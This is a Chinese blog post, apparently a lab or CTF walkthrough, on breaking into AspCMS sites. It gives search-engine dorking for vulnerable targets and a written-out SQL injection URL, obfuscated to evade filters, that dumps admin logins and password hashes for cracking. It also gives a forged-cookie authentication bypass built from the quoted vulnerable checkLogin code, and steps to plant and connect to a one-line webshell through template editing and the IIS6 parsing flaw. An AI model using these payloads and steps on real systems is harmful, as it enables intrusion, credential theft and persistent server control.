【WEB】aspcms漏洞利用

Love The Way You Lie 2022-05-16 08:54 374阅读 0赞

# 【社工方法】（不推荐） #

1.首先谷歌关键字 Powered by aspcms.com Copyright ?2010-2011 的漏洞，果然功夫不负有心人  
2.接着利用注入漏洞  
/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20\{prefix\}user

![152542002125daeb.png][]  
然后登陆https://www.somd5.com/来解md5  
![15254201640307fe.png][]  
3.去登陆后台 ,登陆成功  
然后搜了一下aspcms 的文件上传get webshell   
https://www.i0day.com/1595.html![1525420332cdc0d6.png][]  
我们来尝试一下  
![15254204104e2a63.png][]我们点击修改

![15254204390baf16.png][]我们点开看一下

![15254204763871bd.png][]直接菜刀链接即可

这种方法只能算作社工解决问题。

# 【原理解决】（推荐） #

1、简单分析  
下载CMS源码并简单分析  
inc/AspCms\_CommonFun.asp在查看asp代码问题：  
![image001.png][]  
代码详细分析：  分为三层if语句判断

Function checkLogin()
        if isnul(rCookie("adminName")) or rCookie("adminName")="" then
            alertMsgAndGo"您还没有登陆","/"    //adminName不能为空
        else
            dim Permissions
            Permissions=rCookie("groupMenu")
            if Permissions<>"all" and isnul(Permissions) then
                alertMsgAndGo"您没有访问权限","-1"   //groupMenu需要等于all   
        if not isnum(rCookie("adminrand")) then alertMsgAndGo"您没有访问权限","-1" end if
            sql = "select count(*) from {prefix}User where LoginName = '"&rCookie("adminName") &"' and adminrand='"&rCookie("adminrand")&"'"
            Dim rscoo : Set rscoo=Conn.Exec(sql,"r1")
            if rscoo(0)<>1 then
                    wCookie"adminName",""     
                    wCookie"adminId",""
                wCookie"groupMenu",""
                wCookie"SceneMenu",""
                alertMsgAndGo"您没有访问权限","-1"    adminrand值需要为一个数字，SQL语句必须成立且返回数字为1时才具有访问权限。
        end if

构造：  
groupMenu=all;  
adminrand=1;  
adminName=admin' or ‘1’='1  
2、使用cookiesmanager进行cookie伪造。  
![image003.png][]  
访问：http://219.153.49.228:42856/admin/  
登录后台-点击后台导航  
![image005.png][]  
3、点击界面风格-编辑模板/CSS文件-编辑  
![image007.png][]  
查看一个一句话木马存在且利用了IIS6解析漏洞。  
![image009.png][]  
访问目标文件：  
http://219.153.49.228:42856/Templates/green/html/1.asp;.html  
4、使用菜刀连接一句话木马，在根目录找到文件  
![image011.png][]

[152542002125daeb.png]: /images/20220516/01c61c3c0d454e03834cc7da42750767.png
[15254201640307fe.png]: /images/20220516/ac956b3b153540a9b96f7bf20b4aa329.png
[1525420332cdc0d6.png]: /images/20220516/56a4e43646ce412f8f03d308aba71a7e.png
[15254204104e2a63.png]: /images/20220516/4f764941943e4964aec948233d602381.png
[15254204390baf16.png]: /images/20220516/cef34f96bea54850933de07f62bed3c4.png
[15254204763871bd.png]: /images/20220516/39991c2787184733810c258dd9caee62.png
[image001.png]: /images/20220516/1da790b8db8f42beb76f9daffe624baf.png
[image003.png]: /images/20220516/314f258427714aa78be40bb93c168304.png
[image005.png]: /images/20220516/acc470e1b115460e8b86a28ac249d498.png
[image007.png]: /images/20220516/df59633501834a7c98547cd8fd9c5557.png
[image009.png]: /images/20220516/fc92720775144a22a940f8c982a2b79a.png
[image011.png]: /images/20220516/1689063d86a7449da2ad3fb34696070b.png